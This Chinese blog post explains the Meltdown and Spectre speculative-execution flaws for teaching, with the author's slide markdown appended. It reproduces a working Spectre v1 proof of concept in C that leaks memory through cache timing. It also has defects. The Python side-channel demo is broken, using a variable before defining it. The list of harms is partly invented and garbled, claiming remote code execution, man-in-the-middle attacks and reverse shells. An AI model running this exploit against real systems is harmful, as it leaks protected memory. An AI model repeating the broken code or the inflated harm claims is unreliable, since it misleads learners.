熔断&幽灵漏洞（CVE-2017-5753，CVE-2017-5754）
目录
熔断&幽灵漏洞（CVE-2017-5753，CVE-2017-5754）
漏洞介绍
熔断（英语：Meltdown），也译崩溃[3]，编号CVE-2017-5754，正式名称为“Rogue Data Cache Load”，常译作“恶意数据缓存加载”[4][5]，是一个存在于英特尔大部分x86/x86-64微处理器、部分IBM POWER架构处理器以及部分ARM架构处理器中的关于推测执行机制的硬件设计缺陷及安全漏洞[6][7][8]。该缺陷使得低权限的进程无论是否获取特权，均可以获取受高权限保护的内存空间中的资料，漏洞利用是基于时间的旁路攻击。2018年1月，该缺陷随另一个基于推测执行机制的重量级信息安全漏洞、硬件缺陷“Spectre”（幽灵）在通用漏洞披露中公布。
幽灵（英语：Spectre）是一个存在于分支预测实现中的硬件缺陷及安全漏洞，含有预测执行功能的现代微处理器均受其影响[1][2]，漏洞利用是基于时间的旁路攻击，允许恶意进程获得其他程序在映射内存中的资料内容。[3][4][5]Spectre是一系列的漏洞，基于攻击行为类型，赋予了两个通用漏洞披露ID，分别是CVE-2017-5753（bounds check bypass，边界检查绕过）和CVE-2017-5715（branch target injection，分支目标注入），于2018年1月随同另一个也基于推测执行机制的、属于重量级信息安全漏洞的硬件缺陷“Meltdown”（熔毁）一同公布。由于该缺陷是推测执行机制导致的，加上不同处理器架构对推测执行又有不同的实现方式，因此这个缺陷无法获得根源上的修复而只能采取“见招拆招”式的方法防范，而且因机制所致，各种解决方案还有不可预料的性能下降。[6]
查阅上述维基百科资料可知，熔断漏洞有时也被称为崩溃，编号为CVE-2017-5754。它存在于大部分英特尔x86/x86-64微处理器、部分IBM POWER架构处理器以及部分ARM架构处理器中的推测执行机制中。该漏洞可以使低权限的进程利用时间旁路攻击获得高权限保护的内存空间中的数据，而且漏洞利用与是否获取特权无关。幽灵漏洞编号分别是CVE-2017-5753和CVE-2017-5715，存在于含有预测执行功能的现代微处理器中。该漏洞基于时间旁路攻击，允许恶意进程获得其他程序在映射内存中的数据内容。Spectre是一系列的漏洞，基于攻击行为类型赋予了两个通用漏洞披露ID。由于该缺陷是推测执行机制导致的，所以这个漏洞无法获得根源上的修复，只能采取“见招拆招”式的方法防范。各种解决方案还存在性能下降的问题。
为什么被翻译成“熔断漏洞”？
或许是因为"Meltdown"本意是指"有核反应堆燃料棒熔毁的意外"，在安全领域被引申为指由于处理器执行时出现异常，导致敏感数据暴露的危险情况。在熔断漏洞中，低权限的进程可以读取高权限进程的数据，这造成了巨大的安全威胁，因此我们将其翻译为“熔断漏洞”也是为了突出其危害性。
漏洞原理
Meltdown——“熔断”漏洞，是一种侧信道攻击，信道是CPU读取内存的时间。利用该漏洞，我们可以在用户态读取内核态任意地址的数据。
demo
假设用户态存在如下汇编指令：
; rcx = kernel address
; rbx = array_addr in userspace, assume array[256*4096]
mov al, byte [rcx] ; read kernel address value and must be failed!
shl rax, 0xc ; rax = al *4096
mov rcx, qword [rbx + rax] ; read array[X*4096] 首先从kernel address（内核态）中读取 1B 数据X，X范围为 0~255。接下来将X*4096，数组所在进程空间对应到内核页表中属于不同的页。最后读rbx数组中不同页表中的值，保存到rcx中。
CPU做了哪些事情呢？CPU执行line3时，会知道当前是kernel的addr，权限检查读取失败。但是这一步骤很慢，由于CPU可以同时执行多条指令（前辈们把这个叫乱序执行和推测执行），因此line4和line5也执行了。达到的效果是，CPU是知道X的值的，利用X的值，从内核页表中读取array不同页表中的值保存到rcx中，同时也把该页表加入缓存。虽然等CPU回过神来，al的值其实是拿不到的，但是加入缓存这个操作已经完成了。
因此，用户态就可以遍历array的256个页表，看看读哪个页表的时间短，就猜到了X的值。
具体原理
参考视频：https://www.youtube.com/watch?v=orxngUyl2PQ
预备知识
-
内存和缓存
访问内存很慢，但访问缓存很快，CPU的工作速度也很快。CPU访问过一快内存数据后，会把它放到缓存。
-
预测执行
示例代码如下：
if(mem==0)
{
instructino A;
instruction B;
...;
}由于CPU很快，但访问内存很慢，所以CPU在执行if条件判断时会做预执行，即在访问内存判断mem==0的过程中，执行其中的instructino A;等等。如果mem==0成立则猜对了，如果不成立则回滚，但这里只回滚寄存器，不回滚缓存。
-
侧信道攻击
测信道攻击（Side-Channel Attack）是一种基于对加密算法运行时的物理实现特征分析，从而获取秘密密钥等保密信息的攻击方式。下面是一个简单的测信道攻击示例代码：
import time
# 需要猜测的秘密数
secret_number = 1234
# 对秘密数进行某种加密操作
def encrypt(number):
# 对数字进行异或操作
return number ^ 0xA5A5
# 判断两个数字的二进制表示在第n位是否相同
def bit(n, number1, number2):
mask = 1 << n
return (number1 & mask) == (number2 & mask)
# 测量加密函数的执行时间
def measure_time():
start_time = time.time()
encrypt(secret_number)
end_time = time.time()
return end_time - start_time
# 使用测量时间来猜测秘密数
def guess_secret_number():
for i in range(16):
# 将时间作为测量指标，用于判断两个数字的二进制表示在第i位是否相同
time_0 = measure_time()
time_1 = measure_time()
# 如果两次执行时间相差较大，则说明该位为1；否则为0
if time_1 > time_0:
bit_i = 1
else:
bit_i = 0
# 使用二进制位值还原出秘密数
secret_number_guess = bit_i << i | secret_number_guess
return secret_number_guess
# 测试猜测结果是否正确
secret_number_guess = guess_secret_number()
if secret_number_guess == encrypt(secret_number):
print("猜测成功！秘密数为：", secret_number_guess)
else:
print("猜测失败！")首先定义了一个需要猜测的秘密数secret_number，以及一个加密函数encrypt，其中使用了异或操作。然后定义了一个用于判断两个数字的二进制表示在第n位是否相同的函数bit（实际运用中有多种判断方式），以及一个用于测量加密函数执行时间的函数measure_time。最后，使用测量时间来猜测秘密数的函数guess_secret_number，通过16次迭代，根据加密函数执行时间的差异不断推测秘密数的二进制值，最终得到猜测结果，并进行测试判断是否正确。
攻击步骤
我们假设需要知道一块内存的A[X]，这块区域是合法情况下访问不到的。首先执行一段这样的代码：
我们在内存中开辟一段连续空间叫做 Instrument[]，这个数组根据现实需求划定长度，并且要求CPU不要拷贝到缓存，只在内存。接下来执行一段这样的if语句：
if(世界是平的):
access Instrument[A[X]]这段代码执行时，显然世界不是平的，所以根据上面的预测执行知识，CPU会去读A[X]中的内容。在这个读的过程中，CPU不会认为这是非法的，因为内核（kernel）还没来得及发出指令。
假设访问结果A[X]=4， 之后CPU就会访问Instrument[4]。CPU访问后，还会把这块内存中的内容放到缓存中。
那么接下来，我们遍历整个Instrument数组，就会发现除了Instrument[4]访问特别快，其他都是很慢的，因此我们可以得知，A[X]=4。这就是整个熔断&幽灵漏洞攻击的大致原理和步骤。
漏洞危害
熔断幽灵(断点幽灵)漏洞有以下主要危害:
-
信息泄露。可以获取内部网络的信息,如主机名、用户名、密码等敏感信息。这些信息可以用于后续的攻击。
-
权限提升。可以利用漏洞获取超级用户权限,完全控制系统。
-
身份渗透。可以用 compromised 帐户进行各种操作,深入网络内部。
-
远程执行代码。可以通过此漏洞直接在系统上执行任意代码,进行系统破坏或后门留置。
-
中间人攻击。可以在通信过程中劫持会话,进行密码 cracking 等攻击。
-
拒绝服务攻击。通过大量利用此漏洞,可以使系统宕机或资源耗尽,导致服务 unavailable。
-
待在后门。 canleave后门或反向Shell在 systempersist 在系统中,以便随时返回与系统互动。
-
反弹攻击。攻击者利用该漏洞攻击系统,然后系统被破坏后用来攻击更多目标的意外结果。
漏洞复现
漏洞查找
首先判断自己的操作系统是否含有熔断漏洞，进入设置查看处理器：
设备名称 DESKTOP-BLLAM41
处理器 AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx 2.10 GHz
机带 RAM 16.0 GB (14.9 GB 可用)
设备 ID 9F81D002-F098-4D9A-A375-F44AABF2698E
产品 ID 00331-10000-00001-AA751
系统类型 64 位操作系统, 基于 x64 的处理器
笔和触控 没有可用于此显示器的笔或触控输入其中，AMD Ryzen 5 3550H是一款由AMD推出的移动处理器，采用14纳米制程工艺，拥有4个物理核心和8个线程。该处理器的基础频率为2.1 GHz，最高可达3.7 GHz。它还配备了Radeon Vega Mobile Gfx集成显卡，可提供出色的图形性能。https://www.amd.com/zh-hans/products/apu/amd-ryzen-5-3550h
经过查阅得知，AMD Ryzen 5 3550H处理器是存在熔断&幽灵漏洞的。参考链接：https://www.zebra.com/cn/zh/support-downloads/lifeguard-security/spectre-meltdown.html
-
幽灵可从机器上运行的其他应用程序的内存中窃取数据，影响几乎各种现代处理器，包括来自 AMD、ARM 和 Intel 的处理器。
-
熔断能够读取受保护的内存，操作系统更新可以轻易修复此漏洞，影响范围似乎仅限于 Intel 芯片。
代码实现
这类代码在网上开源的有很多：
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* rdtscp 和 clflush 用 */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* rdtscp 和 clflush 用 */
#endif
// 定义常量：观察路径
#define CACHE_HIT_THRESHOLD (80) /* 内存访问时间小于等于这个值时认为已经命中cache */
/********************************************************************
受害函数
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Secret is yhryhryhr"; // 需要保护的机密信息
uint8_t temp = 0; /* 用于防止编译器优化掉 victim_function() */
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512]; // 访问 array1[x] 对应位置的内存，将最终结果存储到 temp 中
}
}
/********************************************************************
分析代码
********************************************************************/
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t* addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--)
{
// 清空 array2 缓存
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* clflush 指令 */
// 训练和攻击循环
training_x = tries % array1_size;
for (j = 29; j >= 0; j--)
{
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++)
{
} /* 延时（也可以使用 mfence）*/
// 偏移地址，避免分支预测
x = ((j % 6) - 1) & ~0xFFFF; /* 如果 j%6==0，则 x=FFF.FF0000，否则 x=0 */
x = (x | (x >> 16)); /* 如果 j%6=0，则 x=-1，否则 x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
// 调用受害函数
victim_function(x);
}
// 测量内存读取时间
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* 读取计时器 */
junk = *addr; /* 访问内存 */
time2 = __rdtscp(&junk) - time1; /* 读取计时器，计算时间差 */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* 缓存命中 */
}
// 找到访问次数最多的两个位置
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* 提前结束循环 */
// 使results[0] 的结果不会被优化掉
results[0] ^= junk;
}
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char* * argv)
{
printf("将 '%s' 写入内存，地址为：%p\n", secret, (void *)(secret));
size_t malicious_x = (size_t)(secret - (char *)array1); /* 默认值 */
int len = strlen(secret);
uint8_t value[2];
int score[2];
for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* 写入 array2，使其在 RAM 中而非 copy-on-write 内存中 */
if (argc == 3)
{
sscanf_s(argv[1], "%p", (void * *)(&malicious_x)); // 检验输入是否合法
malicious_x -= (size_t)array1;
sscanf_s(argv[2], "%d", &len);
printf("设定 malicious_x=%p，长度为 %d\n", (void *)malicious_x, len);
}
printf("读取 %d 个字节：\n", len);
while (--len >= 0)
{
readMemoryByte(malicious_x++, value, score);
printf("读取地址为 %p 处的值... ", (void *)(malicious_x - 1));
if (score[0] >= 2 * score[1]) {
printf("可能命中，值为：0x%02X='%c'，得分为：%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0) {
printf("(第二高的是：0x%02X='%c'，得分为：%d)", value[1],
(value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
}
}
else {
printf("不命中 ");
}
printf("\n");
}
#ifdef _MSC_VER
printf("按下回车键结束...\n");
getchar(); /* 在 Windows 控制台暂停 */
#endif
return 0;
}运行结果
漏洞修复
这个漏洞是目前见过最恐怖的漏洞，因为这是一个很难修复的硬件漏洞。首先，硬件漏洞可以通过JavaScript进行攻击，攻击的方法不需要钓鱼，就可以获取浏览器缓存中的用户密码等信息。其次，想要修复这个漏洞，CPU的处理速度必定会降低，这样无疑又增加了很多工作量。
目前Intel及其他芯片厂商尚未发布修补补丁。
但大多数操作系统商（微软、CentOS）和云技术厂商已经发布了临时补丁，但对于系统性能会有影响，需要谨慎评估后再进行修复。
PPT代码
## 熔断 幽灵漏洞
CVE-2017-5754；CVE-2017-5753
 <!-- .element: style="height:500px; " -->
## 漏洞介绍
<red>熔断和幽灵都是现代微处理器中存在的安全漏洞。 </red>
熔断漏洞存在于Intel、IBM和ARM等处理器中，使得低权限的进程可以获取高权限保护的内存空间的数据。而幽灵漏洞则存在于支持分支预测功能的现代微处理器中，允许恶意进程获得其他程序在内存中的数据。这两个漏洞都是基于时间的测信道攻击，并且都有CVE编号。由于缺陷是<grey> 建立在推测执行机制上的硬件漏洞</grey> ，因此对缺陷进行<red>根本性的修复几乎是不可能的</red> ，解决方案只能采取“见招拆招”式的方法防范。
### 熔断漏洞
> **熔断**（Meltdown），编号[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5754](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754)，正式名称为“Rogue Data Cache Load”，常译作“**恶意数据缓存加载**”[[4\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-4)[[5\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-5)，是一个存在于[英特尔大部分x86/x86-64微处理器](https://zh.wikipedia.org/wiki/英特尔微处理器列表)、部分[IBM POWER架构](https://zh.wikipedia.org/wiki/IBM_POWER)处理器以及部分[ARM架构](https://zh.wikipedia.org/wiki/ARM架構)处理器中的关于[推测执行](https://zh.wikipedia.org/wiki/推测执行)机制的[硬件设计缺陷及安全漏洞](https://zh.wikipedia.org/wiki/计算机安全隐患)[[6\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-6)[[7\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-auto1-7)[[8\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-AT-20180105-8)。该缺陷使得低权限的[进程](https://zh.wikipedia.org/wiki/进程)无论是否[获取特权](https://zh.wikipedia.org/wiki/权限提升)，均可以获取受高权限保护的[内存](https://zh.wikipedia.org/wiki/虚拟内存)空间中的资料。
### 幽灵漏洞
> **幽灵**（Spectre）是一个存在于[分支预测](https://zh.wikipedia.org/wiki/分支預測器)实现中的[硬件缺陷及安全漏洞](https://zh.wikipedia.org/wiki/计算机安全隐患)，含有[预测执行](https://zh.wikipedia.org/wiki/预测执行)功能的现代[微处理器](https://zh.wikipedia.org/wiki/微处理器)均受其影响[[1\]](https://zh.wikipedia.org/zh-cn/幽灵漏洞#cite_note-wired1-1)[[2\]](https://zh.wikipedia.org/zh-cn/幽灵漏洞#cite_note-AT-20180105-2)，[漏洞利用](https://zh.wikipedia.org/wiki/漏洞利用)是基于时间的[旁路攻击](https://zh.wikipedia.org/wiki/旁路攻击)，允许恶意[进程](https://zh.wikipedia.org/wiki/进程)获得其他程序在[映射内存](https://zh.wikipedia.org/wiki/虚拟内存)中的资料内容。Spectre是一系列的漏洞，基于攻击行为类型，赋予了两个[通用漏洞披露](https://zh.wikipedia.org/wiki/通用漏洞披露)ID，分别是[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5753](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753)和[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715)，于2018年1月随同硬件漏洞“Meltdown”（[熔毁](https://zh.wikipedia.org/wiki/熔断_(安全漏洞))）一同公布。
## 漏洞危害
1. <red>信息泄露</red>。可以获取内部网络的信息,如主机名、用户名、密码等敏感信息。这些信息可以用于后续的攻击。
2. <red>权限提升</red>。可以利用漏洞获取超级用户权限,完全控制系统。
3. <red>身份渗透</red>。可以用 compromised 帐户进行各种操作,深入网络内部。
4. <red>远程执行代码</red>。可以通过此漏洞直接在系统上执行任意代码,进行系统破坏或后门留置。
5. <red>后门</red>。 canleave后门或反向Shell在 systempersist 在系统中,以便随时返回与系统互动。
# 漏洞复现(c++版)
## 查看漏洞是否存在
进入设置查看处理器，判断是否存在漏洞：
```text
处理器 AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx 2.10 GHz
机带 RAM 16.0 GB (14.9 GB 可用)
```
经过查阅得知，AMD Ryzen 5 3550H 处理器是存在熔断&幽灵漏洞的.<!-- .element: class="fragment" -->
- 幽灵可从机器上运行的其他应用程序的内存中窃取数据，影响几乎各种现代处理器，包括来自 AMD、ARM 和 Intel 的处理器。<!-- .element: class="fragment" style="color:red"-->
- 熔断能够读取受保护的内存，操作系统更新可以轻易修复此漏洞，影响范围似乎仅限于 Intel 芯片。<!-- .element: class="fragment" style="color:red" -->
## 预备知识
1. 内存和缓存
2. 预测执行
3. 测信道攻击
### 内存和缓存
访问内存很慢，但访问缓存很快，CPU的工作速度也很快。CPU访问过内存数据后，会把它放到缓存。
 <!-- .element: style="height:500px; " -->
### CPU预测执行
由于CPU很快，但访问内存很慢，因此执行如下代码时，CPU会有<red>预测执行</red>的工作，这是人为设计的。
```c[1-1|2-2|4-6]
// if条件判断
if(mem==0)
{
instructino A;
instruction B;
...;
}
```
- 如果mem==0成立，则猜对了。<!-- .element: class="fragment" -->
- 反之则回滚。但这里只回滚寄存器，不回滚缓存。<!-- .element: class="fragment" -->
### 测信道攻击
测信道攻击（Side-Channel Attack）是一种基于对加密算法运行时的物理实现特征分析，从而获取秘密密钥等保密信息的攻击方式。
<!-- .element: style="height:350px" -->
## 窃取`A[X]`内容
``` python
if(郭佳明.height > 170):
access Instrument[A[X]]
```
<!-- .element: class="fragment" style="height:300px" -->
- 访问A[X]（假设为4）<!-- .element: class="fragment" -->
- 访问Instrument[4]并写入缓存<!-- .element: class="fragment" -->
- 遍历Instrument，响应时间最短的下标即为A[X]的值。<!-- .element: class="fragment" style="color:red" -->
## 攻击结果
<!-- .element: style="height:550px" -->
## 漏洞防护
- 对于幽灵漏洞，主要的解决方案是通过软件升级、操作系统更新和处理器微码更新等方式来修复。各大厂商已经陆续推出了相关的修复方案，在使用相应产品时需要及时更新。
- 对于熔断漏洞，也需要通过软件升级和更新操作系统以及处理器微码来进行修复。与幽灵漏洞不同的是，熔断漏洞的影响范围较小，只影响特定的CPU厂商，因此修复方案也相对简单。
344
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
